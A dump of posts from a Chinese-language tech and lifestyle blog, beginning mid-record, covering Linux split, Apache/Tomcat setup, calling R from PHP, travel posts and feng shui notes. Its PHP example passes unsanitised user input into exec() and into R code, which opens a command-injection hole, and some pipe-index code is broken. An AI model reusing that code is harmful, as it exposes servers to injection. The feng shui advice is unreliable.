blog、dngood\n","permalink":"https://blog.gtwang.org/linux/nginx-image-hotlink-protection-using-rewrite/","summary":"\u003cp\u003e這裡介紹如何設定 nginx 網頁伺服器，防止其他網站盜連自己網站的圖片，或將圖片自動更換為廣告圖。\u003c/p\u003e\n\u003cp\u003e自己架設網站的人，都會注意自己伺服器與網站的狀況，若偶爾出現幾則文章的引用，對網站的影響不大，通常一般的站長可能看過就算了，不過如果把好幾篇文章以 html 碼全文貼過去，連圖片網址都懶得改的話，這樣該網頁在載入圖檔時，還是會使用到我們自己伺服器的流量，如果流量大的時候對於伺服器還是會有一些影響的。\u003c/p\u003e","title":"Nginx 防止網站圖片盜連設定，置換成廣告圖"},{"content":"這裡介紹如何在 Linux 中使用 split 指令將大檔案切割成小檔案，方便網路傳輸或各種儲存媒體使用。\n在 Linux 中若要進行檔案備份或是網路傳輸，有時候會使用 tar 指令將多個檔案壓縮起來，變成一個壓縮檔後才進行後續的動作，而有時候一個壓縮檔如果太大，在傳輸或儲存上可能會不方便，若是遇到這種狀況可以使用 split 將大檔案分割成小檔案。\n使用 split 分割檔案 如果要將一個大檔案分割成許多個小檔案，可以使用 split 配合 -b 參數指定每個小檔案的大小，並指定輸出檔名的開頭名稱：\n# 分割檔案（每個檔案 200MB） split -b 200M ubuntu.iso \u0026#34;ubuntu.iso.part\u0026#34; 預設的輸出檔案名稱會自動加上英文字母來區隔順序：\n亦可以使用管線（pipe）結合其它的 Linux 指令，將資料直接分割後再儲存：\n# 將管線接收的資料分割後儲存 tar zcf - datafolder | split -b 200M - \u0026#34;datafolder.part\u0026#34; 如果想要將檔案依據大小均分為固定個數的檔案，可以使用 -n 參數，並指定要分成幾個小檔案。例如若要將 ubuntu.iso 這個檔案均分為 4 個小檔案，則執行：\n# 分割檔案（平均分為 4 個檔案） split -n 4 ubuntu.iso \u0026#34;ubuntu.iso.part\u0026#34; 這樣每個分割出來的檔案其大小都會是相同的：\n使用 cat 合併檔案 使用 split 分割之後的檔案，可以使用 cat 來合併，例如：\n# 以 cat 合併檔案 cat datafolder.part* \u0026gt; datafolder.tar.gz 或是直接配合管線解壓縮：\n# 配合管線解壓縮 cat datafolder.part* | tar zxvf - 檔名結尾 split 預設會使用兩個字母依序為分割的檔案名稱加上結尾，我們可以使用 -a 參數來調整結尾的字母數，若要以三個字母作為結尾，則執行：\n# 分割檔案（每個檔案 200MB，結尾字母數為 3） split -a 3 -b 200M ubuntu.iso \u0026#34;ubuntu.iso.part\u0026#34; 如果想要使用數字的方式來作為檔名結尾，可以加上 -d 參數：\n# 分割檔案（每個檔案 200MB，以數字作為檔名結尾） split -d -b 200M ubuntu.iso \u0026#34;ubuntu.iso.part\u0026#34; 以行數分割檔案 split 除了以固定的檔案大小切割檔案之外，對於文字檔也可以使用固定行數的方式來分割檔案，這裡我產生一個文字檔，然後將這個文字檔每三行儲存為一個小檔案：\n# 產生測試檔案 ls -l / \u0026gt; mydata.txt # 每 3 行分割成 1 個檔案 split -l 3 mydata.txt mydata.part 分割出來的檔案中，每個檔案都只有三行文字：\n如果要將文字檔案均分為大小相同的小檔案，但不想要把完整的行切斷，可以使用 -n l/N 參數，其中 N 是分割檔案數，例如：\n# 產生測試檔案 ls -l / \u0026gt; mydata.txt # 以固定大小分割文字檔，保留完整行 split -n l/3 mydata.txt mydata.part 這樣分割出來的檔案就不會有將一行資料切成兩行的問題：\n輸出至標準輸出 有時候我們會想要將 split 的輸出導向至其他的程式，這時候就可以使用 -n K/N 這種方式，其中 N 是要分割的檔案數目，而 K 是要輸出至標準輸出的部份，例如：\n# 產生測試檔案 ls -l / \u0026gt; mydata.txt # 分為 3 等份、第 2 份輸出至標準輸出，保留完整行 split -n l/2/3 mydata.txt 這樣會將檔案分為 3 等份，將第 2 份輸出至標準輸出，而且分割資料時不會把行切斷。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/split-large-tar-into-multiple-files-of-certain-size/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中使用 \u003ccode\u003esplit\u003c/code\u003e 指令將大檔案切割成小檔案，方便網路傳輸或各種儲存媒體使用。\u003c/p\u003e\n\u003cp\u003e在 Linux 中若要進行檔案備份或是網路傳輸，有時候會使用 \u003ca href=\"/linux/tar-command-examples-in-linux-1/\"\u003etar 指令\u003c/a\u003e將多個檔案壓縮起來，變成一個壓縮檔後才進行後續的動作，而有時候一個壓縮檔如果太大，在傳輸或儲存上可能會不方便，若是遇到這種狀況可以使用 \u003ccode\u003esplit\u003c/code\u003e 將大檔案分割成小檔案。\u003c/p\u003e","title":"Linux 使用 split 指令將大檔案切割成小檔案，方便網路傳輸"},{"content":"這裡記錄我在 CentOS Linux 中安裝 Apache2 與 Tomcat8 伺服器的指令以及整合設定步驟。\nTomcat 配合 Apache 網頁伺服器，可以讓一台機器同時提供 Java 與 PHP 的執行環境，以下是在 CentOS Linux 中安裝 Apache 2 與 Tomcat 8 的步驟。\n安裝 Apache 網頁伺服器 以 yum 安裝 Apache 網頁伺服器：\nsudo yum install httpd 將 Apache 伺服器設定為開機自動啟動：\nsudo systemctl enable httpd.service 立即啟動 Apache 伺服器：\nsudo systemctl start httpd.service 檢查 Apache 伺服器的狀態：\nsudo systemctl status httpd.service HTTPS 加密網頁 若要讓 Apache 伺服器提供 HTTPS 安全加密網頁，可以安裝 nss 模組：\nsudo yum install mod_nss 編輯 nss 模組的 /etc/httpd/conf.d/nss.conf 設定檔，把預設的 8443 連接埠改為標準的 443：\n# # When we also provide SSL we have to listen to the # standard HTTP port (see above) and to the HTTPS port # # Note: Configurations that use IPv6 but not IPv4-mapped addresses need two # Listen directives: \u0026#34;Listen [::]:8443\u0026#34; and \u0026#34;Listen 0.0.0.0:443\u0026#34; # Listen 443 # [略] ## ## SSL Virtual Host Context ## \u0026lt;VirtualHost _default_:443\u0026gt; 其餘的設定則依照自己的需求修改。接著重新啟動 Apache 伺服器，讓設定生效：\nsudo systemctl restart httpd.service 安裝完成後，請開啟瀏覽器，輸入伺服器的網址，檢查網頁是否正常，正常來說可以看到 Apache 的測試網頁。\n安裝 Tomcat 伺服器 首先用 yum 安裝 Java SDK 1.8：\nsudo yum install java-1.8.0-openjdk-devel 新增 tomcat 使用者群組：\nsudo groupadd tomcat 新增 tomcat 使用者帳號：\nsudo useradd -M -s /bin/nologin -g tomcat -d /opt/tomcat tomcat 由於 tomcat 這個帳號是專門用來執行 Tomcat 服務的帳號，所以不會有登入系統使用的情況，因此可將其登入的 shell 設定為 /bin/nologin，禁止該帳號登入，以增加系統安全性。\n而 -d 是設定帳號的家目錄，這裡的 /opt/tomcat 就是等一下我們要安裝 Tomcat 的路徑，如果您想要把 Tomcat 安裝在不同的位置，可以自行修改這個路徑。\n設定完 tomcat 帳號之後，接著就可以安裝 Tomcat 伺服器，首先從 Tomcat 官方網站下載 Tomcat 8 的 Binary Distributions：\nwget http://ftp.tc.edu.tw/pub/Apache/tomcat/tomcat-8/v8.5.28/bin/apache-tomcat-8.5.28.tar.gz 建立安裝 Tomcat 的目錄，這裡我們將 Tomcat 安裝在 /opt/tomcat 中，首先建立這個目錄：\nsudo mkdir /opt/tomcat 將 Tomcat 8 的壓縮檔解壓縮至該目錄中：\nsudo tar xvf apache-tomcat-8*tar.gz -C /opt/tomcat --strip-components=1 設定檔案權限：\ncd /opt/tomcat sudo chgrp -R tomcat * sudo chmod g+rwx conf sudo chmod -R g+r conf 有些目錄需要讓 Tomcat 寫入資料，必須將目錄的擁有者改為 tomcat：\nsudo chown -R tomcat webapps/ work/ temp/ logs/ 建立 /etc/systemd/system/tomcat.service 這個 Systemd 的設定檔：\nsudo vi /etc/systemd/system/tomcat.service 檔案內容如下：\n# Systemd unit file for tomcat [Unit] Description=Apache Tomcat Web Application Container After=syslog.target network.target [Service] Type=forking Environment=JAVA_HOME=/usr/lib/jvm/jre Environment=CATALINA_PID=/opt/tomcat/temp/tomcat.pid Environment=CATALINA_HOME=/opt/tomcat Environment=CATALINA_BASE=/opt/tomcat Environment=\u0026#39;CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC\u0026#39; Environment=\u0026#39;JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom\u0026#39; ExecStart=/opt/tomcat/bin/startup.sh ExecStop=/bin/kill -15 $MAINPID User=tomcat Group=tomcat [Install] WantedBy=multi-user.target 存檔之後，要重新載入 Systemd，讓新的 Tomcat 設定檔生效：\nsudo systemctl daemon-reload 將 Tomcat 伺服器設定為開機自動啟動：\nsudo systemctl enable tomcat 立即啟動 Tomcat 服務：\nsudo systemctl start tomcat 如果要停止 Tomcat 服務，則執行：\nsudo systemctl stop tomcat 整合 Apache 與 Tomcat 伺服器 正常來說 Apache 的網頁伺服器會使用 80 連接埠，而 Tomcat 會使用 8080，如果不想要使用連接埠來區分 Apache 與 Tomcat，可以透過 Apache 的 Proxy 設定，將某些網頁路徑導向至 Tomcat 伺服器，而對外則統一使用標準的 80 連接埠，而加密的 HTTPS 網頁則使用 443，這樣可以讓網址看起來比較漂亮，不會多出連接埠號。\nApache 的 proxy 模組可以讓外部的連線從 Apache 導向至內部的 Tomcat 伺服器，這裡我示範將 HTTPS 加密的所有連線都預設導向至 Tomcat，而 /static/ 這個路徑下的網頁則維持不變（由 Apache 處理）。\n編輯 /etc/httpd/conf.d/nss.conf 設定檔，在 \u0026lt;VirtualHost\u0026gt; 的設定中加入：\nProxyPass /static/ ! ProxyPassReverse /static/ ! ProxyPass / ajp://localhost:8009/ ProxyPassReverse / ajp://localhost:8009/ 這裡的 ajp://localhost:8009/ 是 Tomcat 內部用的位址，這個設定可讓 Apache 透過 AJP 協定將來自外部的連線導向至 Tomcat 伺服器。\n設定檔修改之後，重新啟動 Apache 伺服器，讓新設定生效：\nsystemctl restart httpd.service 接下來開啟一般的 HTTPS 加密網頁，就會直接顯示 Tomcat 伺服器的內容，而如果是在 /static/ 路徑下的網頁則會由 Apache 處理，像是 PHP 或靜態的 HTML、CSS 與 JavaScript 等檔案就可以放在這裡。\n參考資料 DigitalOcean HostPresto ","permalink":"https://blog.gtwang.org/linux/centos7-linux-install-apache2-and-tomcat8-server/","summary":"\u003cp\u003e這裡記錄我在 CentOS Linux 中安裝 Apache2 與 Tomcat8 伺服器的指令以及整合設定步驟。\u003c/p\u003e\n\u003cp\u003eTomcat 配合 Apache 網頁伺服器，可以讓一台機器同時提供 Java 與 PHP 的執行環境，以下是在 CentOS Linux 中安裝 Apache 2 與 Tomcat 8 的步驟。\u003c/p\u003e","title":"CentOS Linux 7 安裝 Apache 2 與 Tomcat 8 伺服器步驟教學，透過 Proxy 整合"},{"content":"這裡介紹如何在 PHP 的程式中呼叫 R 語言進行各式的統計分析語資料繪圖，並將結果顯示於網頁之中。\nPHP 是現今很熱門的程式語言之一，有非常多的網頁應用程式都是使用 PHP 來開發的（例如 WordPress 等），而 R 語言則是一種功能強大的統計分析工具，拜大資料的風潮所賜，目前 R 語言已經是資料科學領域最熱門的分析工具。\n如果您想要開發一個線上分析資料的工具，網頁部份可以使用 PHP、HTML、JavaScript 與 CSS 等傳統技術來處理，而資料的統計分析與繪圖則可以借重 R 語言來解決，以下是常見的幾種 PHP 與 R 語言的整合方式與範例程式碼。\nPHP 執行外部 R 指令稿 建立一個 PHP 指令稿，將其命名為 r.php，內容如下：\n\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;form action=\u0026#39;r.php\u0026#39; method=\u0026#39;get\u0026#39;\u0026gt; 輸入 N 值: \u0026lt;input type=\u0026#39;text\u0026#39; name=\u0026#39;n\u0026#39; /\u0026gt; \u0026lt;input type=\u0026#39;submit\u0026#39; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;?php if(isset($_GET[\u0026#39;n\u0026#39;])) { $n = $_GET[\u0026#39;n\u0026#39;]; // 以外部指令的方式呼叫 R 進行繪圖 exec(\u0026#34;Rscript script.R $n\u0026#34;); // 產生亂數 $nocache = rand(); // 輸出圖檔 echo(\u0026#34;\u0026lt;img src=\u0026#39;output/hist.png?$nocache\u0026#39; /\u0026gt;\u0026#34;); } ?\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 上面這段程式碼的上半部是一個普通的 HTML form，可以用來送出使用者所輸入的參數，而下半部則是 PHP 的程式碼，在接收使用者輸入的 n 值之後，透過 PHP 的 exec 執行外部程式，而 Rscript 這個程式則是附屬在 R 中的一個程式，只要安裝好 R 之後系統上就會有這個程式，它是專門用來執行 R 指令稿的工具程式。\n最後在執行完 R 指令稿之後，要顯示繪圖的結果，由於我們每一次所繪製的圖檔檔名都一樣，所以需要在圖檔後方加上一串亂數，強迫讓瀏覽器重新抓取新的圖檔（也就是不要使用瀏覽器的快取），這樣每次送出新的 n 值才會顯示新的結果。\n以下是 script.R 這一個 R 指令稿的內容：\nargs \u0026lt;- commandArgs(TRUE) # 取得使用者輸入的 N 值 n \u0026lt;- args[1] # 產生資料 x \u0026lt;- rnorm(n, 0, 1) # 繪製直方圖 png(filename=\u0026#34;output/hist.png\u0026#34;, width = 500, height = 300) hist(x, col = \u0026#34;orange\u0026#34;) dev.off() 在 R 中我們透過 commandArgs 取得從 shell 中傳入的參數，其中第一個參數就是使用者輸入的 n 值，藉由這樣的方式就可以取得從 PHP 傳過來的資料。接著產生一些常態分佈的亂數資料，並繪製一張直方圖，我們將圖形儲存至 output 這個目錄中，然後再讓網頁直接讀取這個圖檔，這樣就可以將結果傳給使用者。\n這裡我是規劃 output 目錄專門用來放置輸出的圖檔，由於 R 的指令稿會以執行網頁伺服器的使用者（在 Ubuntu Linux 中通常是 www-data）權限來執行，所以請注意目錄權限的設定，要讓伺服器有權限可以寫入這個目錄。\n執行的結果會像這樣：\nPHP 開啟管線執行 R 指令稿 以 PHP 的 exec 執行外部的 R 指令稿是一個比較簡單的方式，不過缺點就是它需要另外建立一個單獨的 R 指令稿，如果不想要另外建立一個 R 檔案，可以改用 proc_open 的方式，直接把 R 的指令從 PHP 中透過 Linux 的管線（pipe）寫到 R 的行程（process）中，這樣就可以省去建立 R 檔案的麻煩，以下是一個簡單的範例：\n\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;form action=\u0026#39;r.php\u0026#39; method=\u0026#39;get\u0026#39;\u0026gt; 輸入 N 值: \u0026lt;input type=\u0026#39;text\u0026#39; name=\u0026#39;n\u0026#39; /\u0026gt; \u0026lt;input type=\u0026#39;submit\u0026#39; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;?php if(isset($_GET[\u0026#39;n\u0026#39;])) { $n = $_GET[\u0026#39;n\u0026#39;]; $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), // stdin 1 =\u0026gt; array(\u0026#34;file\u0026#34;, \u0026#34;/tmp/output.txt\u0026#34;, \u0026#34;w\u0026#34;),// stdout 2 =\u0026gt; array(\u0026#34;file\u0026#34;, \u0026#34;/tmp/error.txt\u0026#34;, \u0026#34;w\u0026#34;) // stderr ); // 以管線的方式執行 R 指令稿進行繪圖 $rproc = proc_open(\u0026#34;R --vanilla\u0026#34;, $descriptorspec, $pipes); if (is_resource($rproc)) { fwrite($pipes[], \u0026#34;x \u0026lt;- rnorm($n, 0, 1);\u0026#34;); fwrite($pipes[], \u0026#34;png(filename=\u0026#39;output/hist.png\u0026#39;, width = 500, height = 300);\u0026#34;); fwrite($pipes[], \u0026#34;hist(x, col = \u0026#39;orange\u0026#39;);\u0026#34;); fwrite($pipes[], \u0026#34;dev.off();\u0026#34;); fclose($pipes[]); proc_close($rproc); // 產生亂數 $nocache = rand(); // 輸出圖檔 echo(\u0026#34;\u0026lt;img src=\u0026#39;output/hist.png?$nocache\u0026#39; /\u0026gt;\u0026#34;); } } ?\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 這個範例我們利用 proc_open 從 PHP 中開啟一個 R 的行程，在開啟新的行程之前，要先以 $descriptorspec 設定好新行程的標準輸入、標準輸出與標準錯誤，此處我們將新 R 行程的標準輸入指定為管線，方便我們直接從 PHP 寫入資料，而 R 的輸出與錯訊息則是導入兩個暫存檔中，通常在開發階段這樣可以方便我們檢視程式是否有正確執行，除錯也比較方便。\n將 R 的指令都寫入 R 的行程之後，在呼叫 proc_close 關閉 R 行程之前，要記得先將所有的管線關閉，避免造成 deadlock。最後一樣照舊將圖檔顯示在網頁上，不管是使用 proc_close 還是 exec 來整合 PHP 與 R，顯示出來的效果看起來都相同，只有內部的程式結構上有些差異而已。\n參考資料 R-bloggers ","permalink":"https://blog.gtwang.org/web-development/integrating-php-and-r/","summary":"\u003cp\u003e這裡介紹如何在 PHP 的程式中呼叫 R 語言進行各式的統計分析語資料繪圖，並將結果顯示於網頁之中。\u003c/p\u003e\n\u003cp\u003ePHP 是現今很熱門的程式語言之一，有非常多的網頁應用程式都是使用 PHP 來開發的（例如 \u003ca href=\"/categories/wordpress/\"\u003eWordPress\u003c/a\u003e 等），而 \u003ca href=\"/categories/r/\"\u003eR 語言\u003c/a\u003e則是一種功能強大的統計分析工具，拜大資料的風潮所賜，目前 R 語言已經是資料科學領域最熱門的分析工具。\u003c/p\u003e","title":"PHP 呼叫 R 整合教學，線上資料分析與繪圖工具開發"},{"content":"樟樹是台灣地區很常見的樹種，一般道路的行道樹或是公園、學校內都可以常看到它。\n樟樹（別名本樟、山屋樟、栳樟）原產地在台灣及亞熱帶地區，屬於陽性植物，生性強健，全株具香味。\n樟樹屬於常綠大喬木，高可達 50 公尺，全株莖葉具樟腦氣味。葉闊披針形，三出脈，波緣，葉表深綠，葉背粉綠，互生。花為腋生圓錐花序，花被 6 片，黃綠色。\n","permalink":"https://blog.gtwang.org/agriculture/camphor-trees-20161031/","summary":"\u003cp\u003e樟樹是台灣地區很常見的樹種，一般道路的行道樹或是公園、學校內都可以常看到它。\u003c/p\u003e\n\u003cp\u003e樟樹（別名本樟、山屋樟、栳樟）原產地在台灣及亞熱帶地區，屬於陽性植物，生性強健，全株具香味。\u003c/p\u003e","title":"樟樹（本樟、山屋樟、栳樟）"},{"content":"在新竹的高鐵站如果想要到臺鐵的新竹火車站，可以直接從竹北六家火車站搭火車過去，前往新竹市區非常方便。\n在高鐵新竹站的北上月台這一邊有設立一個通往臺鐵車站的出口。\n如果下了高鐵之後，要轉乘臺鐵，可以直接走這一側的出口，直接通往臺鐵六家車站。\n這是臺鐵六家車站的大門口。\n這是連接高鐵新竹站與臺鐵六家車站的高架走廊，若是趕車的人走這裡會快很多。\n這是臺鐵六家車站內的驗票閘門，從高鐵站走過來只要一分鐘，非常方便。從這裡可以直接搭區間車到新竹市區，大約每半個小時會有一班車。\n如果沒有走高架走廊，也可以從高鐵站正常的出口走過來，多花一分鐘。\n這是高架走廊的另一側。\n","permalink":"https://blog.gtwang.org/life/thsr-and-train-station-lioujia-hsinchu/","summary":"\u003cp\u003e在新竹的高鐵站如果想要到臺鐵的新竹火車站，可以直接從竹北六家火車站搭火車過去，前往新竹市區非常方便。\u003c/p\u003e\n\u003cp\u003e在高鐵新竹站的北上月台這一邊有設立一個通往臺鐵車站的出口。\u003c/p\u003e","title":"新竹高鐵站轉車至台鐵，竹北六家火車站"},{"content":"德元埤荷蘭村是位於台南柳營的一處生態休閒園區，可露營與烤肉，還有道地的荷蘭風車。\n這禮拜我們全家到台南柳營的德元埤荷蘭村玩，這個生態休閒園區內有露營區與烤肉區，還有從荷蘭以海運引進的純風力運轉 VAGGS 荷蘭風車。\n這是德元埤荷蘭的入口，旁邊有一個小風車模型，而園區裡面還有一個真實的荷蘭風車。\n阿玄一早來到這裡之後，就想要先去門口的「老牛的家」看牛，所以我們停好車子之後，就走步道過去。\n這就是「老牛的家」，後方就是養牛的牧場。\n這裡就是養牛的地方，今天天氣很好，牛隻都在外面吃草。\n阿玄期待很久，終於看到牛了。\n在這裡是開放式的，遊客來這裡可以直接在圍籬之外觀看。\n這隻是水牛，有時候可以看到水牛洗澡。\n另外一邊還有好幾頭牛，都在草地上吃草。\n這一頭應該是黃牛。\n阿玄第一次那麼近距離看牛，感覺很新鮮。\n牛都有牛脾氣，而且這裡還有池塘，如果是小朋友來這邊，一定要大人陪同，不可以越過圍籬或太靠近牛隻，以免發生危險。\n看完牛之後，接著就回來逛荷蘭村的園區了，從停車場進來就會看到這一做拱橋，上週才舉辦完風車節，這裡還有一些風車。\n阿玄看到風車就很喜歡。\n我們在這裡玩了好一陣子，阿玄還跑去吹風車。\n由於風車節已經結束了，只剩下這些少許的風車，下次可以考慮在風車節的時候來這裡玩。\n這是拱橋旁邊的乳牛模型。\n阿玄說他要跟乳牛合照一張相。\n旁邊這邊有一個白色大木屐模型，讓小朋友上去照相很有意思。\n這是一大片的草坪，早晨或是傍晚的時候，可以在這裡休息或野餐。\n德元埤荷蘭村導覽圖，阿玄很好奇的在看。\n這是德元埤荷蘭村的旅遊服務中心，裡面有幾間商店，不過賣的東西不多。\n這是露營區，而旁邊就是林蔭烤肉區。\n這是磚造烤肉區，這裡比較沒有樹蔭遮蔽，白天真的很熱。\n今天我們在這裡舉辦素烤。\n這裡最大的特色就是有一個真的荷蘭風車。\n這個風車是從荷蘭透過海運進口的純風力運轉 VAGGS 風車，是道地的荷蘭風車，平常還可以看到它在轉動。\n這裡還有黃色的大木屐。\n風車旁邊就是德元埤。\n這裡有許多牛的模型。\n這些模型都是用鐵桶製成的。\n阿玄與牛合照。\n荷蘭村這裡的樹蔭不多，所以如果白天來這裡要注意防曬。\n這裡大部分的區域都像這樣，都是綠地與步道，以及人工河道。\n偶爾會有一些涼亭可以休息，這裡是碼頭旁邊的候船亭。\n這個候船亭還算不錯，可以遮擋比較多的陽光。\n阿玄在這裡看到有趣的東西就會跟我拿手機拍照一下。\n我們沿路逛，阿玄就沿路拍。\n這是另外一處的紅色大木屐，這裡白天沒有樹蔭，大太陽真的很熱。\n這是早上九點多去「老牛的家」看牛的樣子。\n第一次看牛，非常新鮮。\n我們在這裡看了一陣子，不過阿玄嫌這裡好臭，因為有牛大便的味道。\n這是荷蘭村剛進來的拱橋。\n阿玄最喜歡的風車，我們在這裡玩好久。\n剛來時候發現有一個黃色的小風車掉下來了，所以阿玄把它撿起來裝回去。\n阿玄很認真的在修理風車。\n修好風車之後，就開始用嘴巴吹風車。\n吹完風車阿玄說要等有風的時候，跟一直在轉的風車拍照，不過照片看不出來風車在轉。 🙂\n這裡有好幾張阿玄與風車的照片，風一吹之後這些風車都轉的很快。\n阿玄一邊拍照還要回頭檢查一下風車有沒有在轉。\n這是阿玄拿著我的相機到處拍照的樣子。\n阿玄拍照的樣子很認真，每次同一個東西都拍很多張，還好我的記憶卡很大，不用擔心會塞滿。\n","permalink":"https://blog.gtwang.org/life/deyuanbi-holland-village-tainan-20161030/","summary":"\u003cp\u003e德元埤荷蘭村是位於台南柳營的一處生態休閒園區，可露營與烤肉，還有道地的荷蘭風車。\u003c/p\u003e\n\u003cp\u003e這禮拜我們全家到台南柳營的德元埤荷蘭村玩，這個生態休閒園區內有露營區與烤肉區，還有從荷蘭以海運引進的純風力運轉 VAGGS 荷蘭風車。\u003c/p\u003e","title":"[台南柳營景點] 德元埤荷蘭村，生態休閒園區"},{"content":"這一篇是我看緯來綜合台風水有關係 2012/09/23 這一集的個人筆記。\n這一集的委託人從事網拍服飾店，搬進新的店面之後，業績瞬間下滑五成，甚至一度差點破產。\n物件：工作室（15 坪）、住處（20 坪） 格局：3 房 1 廳 2 衛 居住時間：1 年半 風水需求：事業、財運 一樓店面 前明堂開闊，代表事業有遠景，但店面前方為三岔路口，且鄰近較小的車道，這樣的店面在財運上會比主幹上的店面弱一些。\n這間店面原本樓高有四米左右，但是卻將上半部隔出夾層作為倉庫，以至於天花板過低、壓迫感過重，遇到這樣的狀況可以將地板改為稍微深一點的顏色，天輕地重，才不會頭重腳輕。\n店面客服人員的座位應該設在視野遼闊的位置上，也就是容易看得到外面，客戶進來方便接待，並且避免影響進出動線。\n「昇龍開口，金銀萬斗。白虎開口，死無路走」，辦公桌的走道要留在龍邊，不可以從虎邊進出。\n風水上門代表嘴巴，樓梯代表舌頭，門正對或是緊鄰樓梯代表口舌是非多。\n在一般的公司裡面，老闆的座位應該在後方，員工座位在前方，象徵尊後卑前階級有分。若是員工坐在老闆的後方，易導致以下犯上。\n樓梯不宜正對老闆的座位，應該要與樓梯錯開。\n座位後方有壁刀，容易令人坐立難安，可以利用櫃子、隔板將牆面延伸，使其座位後方有靠山，另外這樣也可以產生一個 L 型的角落，讓財位更飽滿。財位上面不可以堆放雜物，更不可以放垃圾桶。\n如果要懸掛八卦鏡應該要掛在室外，且正對煞物，這樣才會有趨吉避凶的作用，如果掛在室內後方，反而會有反效果。\n五樓住家 店面的五樓作為攝影棚與住家使用。\n大門 外門與內門同門不同軸，會導致家人向心力不足，若將門改成同一個軸是最好的解決方式，第二種方式是在兩個門中間的門檻下方擺放五帝錢提升地氣，讓門內與門外的氣場不會混在一起。\n門檻代表門神，所以進出門的時候不可以踩門檻。\n鏡照門形成鬥口煞，代表口舌是非多，這個狀況可以在門的上方懸掛紅布或八仙彩，這樣就可以化解口舌是非。\n陽台 陽台代表主人的前途事業，陽台外推後，雖然有墊高以及使用顏色區隔，保留陽台的格局，但是因為上面都擺放雜物，所以還是會讓前途事業受阻，也就是工作上雜事會特別多。\n陽台外推之後，可以使用三十六枚五帝錢（或是現代的硬幣）貼在陽台周圍，以提升氣場，增進運勢。\n客廳 財庫的部分雙臂張開的寬度之內，後方不可以開窗，否則會導致漏財。在無法變動房屋裝潢的情況下，可以用窗簾遮擋，然後在財庫上擺放水晶洞，讓財氣可以盡量往內抽，由於這間房屋的窗開得太大了，宜另外再擺上一個聚寶盆，也就是找一個不透明的甕，裡面擺放一些銅錢或各國錢幣，而錢的總額可以自己算一個吉利的數字，例如 168、268、368 等。\n聚寶盆內的東西通常是固定不動的，而招財的東西是滾動的，滾動式的招財物品要放在比較靠外面的位置，財庫上面宜擺放靜態的招財物品。\n剛好屋主這一層樓從窗戶看出去的角度，有一棟建築的屋頂是呈現半圓形的，形狀類似棺材，形成棺材煞，易導致屋主鬱鬱寡歡。而這個煞氣會跟樓層有關，在樓下一層看不到，而樓上一層看過去角度比較高，就不會像棺材，所以只有這一層有這個問題。\n棺材煞的後方有一個突起的建築物，剛好只露出一點，形成小人探頭，易犯小人。\n住家窗外正對四個水塔，形成藥罐煞，易導致身體不適。\n住家正對官帽形狀的建築物，形成官帽煞，易導致官司纏身，而官帽形狀的建築物距離很近，就表示發生的時間也會比較近。\n使用八卦鏡是將煞氣反射回去，如果對面有別的住戶，就會影響到別人，建議使用山海鎮或是乾坤太極圖，才不會影響他人。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20120923/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=52RHTtH36GI\"\u003e風水有關係 2012/09/23\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e這一集的委託人從事網拍服飾店，搬進新的店面之後，業績瞬間下滑五成，甚至一度差點破產。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e物件：工作室（15 坪）、住處（20 坪）\u003c/li\u003e\n\u003cli\u003e格局：3 房 1 廳 2 衛\u003c/li\u003e\n\u003cli\u003e居住時間：1 年半\u003c/li\u003e\n\u003cli\u003e風水需求：事業、財運\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，店面風水 2012/09/23 筆記"},{"content":"這一篇是我看緯來綜合台風水有關係 2016/04/23 這一集的個人筆記。\n屋主獨力經營花店，卻因生活壓力大而鬱鬱寡歡，孩子較不常回家，剩下自己一人，家中人丁不聚。\n以下是房子的基本資料：\n物件：電梯大樓 格局：4 房 2 廳 居住時間：15 年 風水需求：事業、健康、財運 大門 家裡頭人丁想要聚集的話，首先家裡的氣不能夠散掉，第一個要考量的地方就是大門，在大門往外看的直線範圍內，若切到逃生門，會影響健康及財運，大門口宜加高門檻來阻隔煞氣，讓門檻與門之間比較緊密重疊，這樣可以讓空氣比較不容易流出去。\n門檻的顏色可以依照大門的方位來選擇顏色，這樣可以增強效果，如果門在南方，南方屬火，所以用紅色的最好，綠色也不錯。以下是各個方位試用的顏色。\n大門方位 五行屬性 宜用顏色 南 火 紅色、綠色 西 金 白色 東 木 綠色 北 水 藍色、黑色、灰色 如果家中有穿堂風的狀況，會造成漏財的時候，有些人會使用櫃子或屏風等物品來阻擋，不過阻擋的物品必須要高過大門，這樣效果才會比較好，\n客廳 進門見膳是指房子的大門一進去就馬上看到吃飯的桌子，客人一來就看到家裡所有吃的東西，這樣的擺設象徵錢財露白，會影響家中的財運。\n進門見灶是指房子的大門一進去就直接可以看到廚房的瓦斯爐，這個比進門見膳更嚴重，也是直接導致嚴重漏財，建議把門口玄關的屏風拉長一點，讓廚房的爐灶可以被遮擋掉，另外再加上門簾，化解進門見灶的問題。\n神桌 